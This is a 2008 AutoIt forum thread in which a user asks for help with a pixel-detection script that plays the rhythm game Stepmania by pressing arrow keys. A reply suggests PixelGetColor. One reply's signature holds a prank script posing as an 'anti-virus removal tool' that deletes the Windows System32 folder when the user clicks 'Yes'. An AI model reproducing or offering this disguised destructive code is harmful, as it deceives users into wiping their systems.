kholdstare942 Posted January 20, 2008 Share Posted January 20, 2008 Hello. I'm somewhat new to AutoIt, I've had some experience in the past. Right now, I'm trying to make a bot for the game Stepmania, I'm sure some of you may have heard of it. What I want it to do is essentially press the buttons for me. This is more or less a just-for-fun type thing, but I'm using it as practice as well. I am stuck, however, as I can't seem to stop the button from pressing continuously. This is my script thus far: While 1 $colora=pixelSearch (574, 543, 577, 546, 0xC0C0C0) $colorb=pixelSearch (574, 543, 577, 546, 0x808080) $colorc=pixelSearch (574, 543, 577, 546, 0x000000) If $colora= @error Then Send("{RIGHT}") sleep (100) EndIf If $colorb= @error Then Send("{RIGHT}") sleep (100) EndIf If $colorc= @error Then Send("{RIGHT}") sleep (100) EndIf WEnd What I hope this will do is find a particular pixel on the guiding arrows (the ones that the falling arrows land on, and that tells you to press the button) and detect a change in it, making it press the button. My friend, with much more experience than me, has been helping out, but he's pretty stuck too. So if anyone could offer just a bit of advice, or, if this is the wrong place to post this, it'd be appreciated greatly. Thanks in advance =) Link to comment Share on other sites More sharing options...
Firefoxy Posted January 20, 2008 Share Posted January 20, 2008 (edited) While 1 If PixelGetColor(x,y) = xC0C0C0 Then Send("") EndIf If..... WEnd I think it would go like that. Of course you'd have to fill in the blanks and do the other three arrows. Edited January 20, 2008 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
kholdstare942 Posted January 20, 2008 Author Share Posted January 20, 2008 Okay, great. I'll give it a shot, thanks =) Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now